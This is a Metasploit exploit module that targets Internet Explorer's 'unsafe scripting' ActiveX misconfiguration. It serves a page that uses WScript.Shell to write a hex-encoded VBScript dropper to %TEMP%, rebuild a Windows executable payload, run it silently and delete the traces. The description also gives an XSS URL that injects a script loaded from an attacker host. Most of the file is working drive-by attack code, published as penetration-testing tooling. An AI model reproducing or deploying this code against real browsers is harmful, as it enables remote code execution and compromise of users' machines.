##
#
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Internet Explorer Unsafe Scripting Misconfiguration',
      'Description'    => %q{
        This exploit takes advantage of the "Initialize and script ActiveX controls not
      marked safe for scripting" setting within Internet Explorer.  When this option is set,
      IE allows access to the WScript.Shell ActiveX control, which allows javascript to
      interact with the file system and run commands.  This security flaw is not uncommon 
      in corporate environments for the 'Intranet' or 'Trusted Site' zones.  In order to 
      save binary data to the file system, ADODB.Stream access is required, which in IE7 
      will trigger a cross domain access violation.  As such, we write the code to a .vbs
      file and execute it from there, where no such restrictions exist.
      
        When set via domain policy, the most common registry entry to modify is HKLM\
      Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
      which if set to '0' forces ActiveX controls not marked safe for scripting to be 
      enabled for the Intranet zone.
      
        This module creates a javascript/html hybrid that will render correctly either 
      via a direct GET http://msf-server/ or as a javascript include, such as in:
      http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
      </script>.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 
        [ 
          'natron'
        ],
      'Version'        => '$Revision$',
      'References'     => 
        [
          [ 'MS', 'http://support.microsoft.com/kb/182569' ],
          [ 'blog', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
            [ 'Automatic', { } ],

        ],
      'DefaultOptions' => 
        { 
          'HTTP::compression' => 'gzip' 
        },
      'DefaultTarget'  => 0))
  end
  
  def on_request_uri(cli, request)

    #print_status("Starting...");
    # Build out the HTML response page
    var_shellobj    = rand_text_alpha(rand(5)+5);
    var_fsobj    = rand_text_alpha(rand(5)+5);
    var_fsobj_file    = rand_text_alpha(rand(5)+5);
    var_vbsname    = rand_text_alpha(rand(5)+5);
    var_writedir    = rand_text_alpha(rand(5)+5);
    var_exename    = rand_text_alpha(rand(5)+5);
    var_origLoc    = rand_text_alpha(rand(5)+5);
    var_byteArray    = rand_text_alpha(rand(5)+5);
    var_stream    = rand_text_alpha(rand(5)+5);
    var_writestream    = rand_text_alpha(rand(5)+5);
    var_strmConv    = rand_text_alpha(rand(5)+5);
    
    p = regenerate_payload(cli);
    print_status("Request received from #{cli.peerhost}:#{cli.peerport}...");
    exe = Msf::Util::EXE.to_win32pe(framework,p.encoded);
    #print_status("Building vbs file...");
    # Build the content that will end up in the .vbs file
    vbs_content  = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
    
    print_status("Encoding payload into vbs/javascript/html...");
    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
    # for conversion with ADODB.Stream
    vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[0]).upcase}\"))\r\n")

    1.upto(exe.length) do |i|
      vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[i]).upcase}\"))\r\n")
    end
  
    # Continue with the rest of the vbs file; 
    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
    # Then use ADODB.Stream again to write the binary to file.
    #print_status("Finishing vbs...");
    vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)
    
    # Encode the vbs_content
    #print_status("Hex encoded vbs_content: #{vbs_content}");
    
    # Build the javascript that will be served
    js_content  = %Q|
//<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();

#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
//</script></html>
|

    print_status("Sending exploit html/javascript to #{cli.peerhost}:#{cli.peerport}...");
    print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");
    
    # Transmit the response to the client
    send_response(cli, js_content, { 'Content-Type' => 'text/html' })
    
    # Handle the payload
    handler(cli)    
  end
end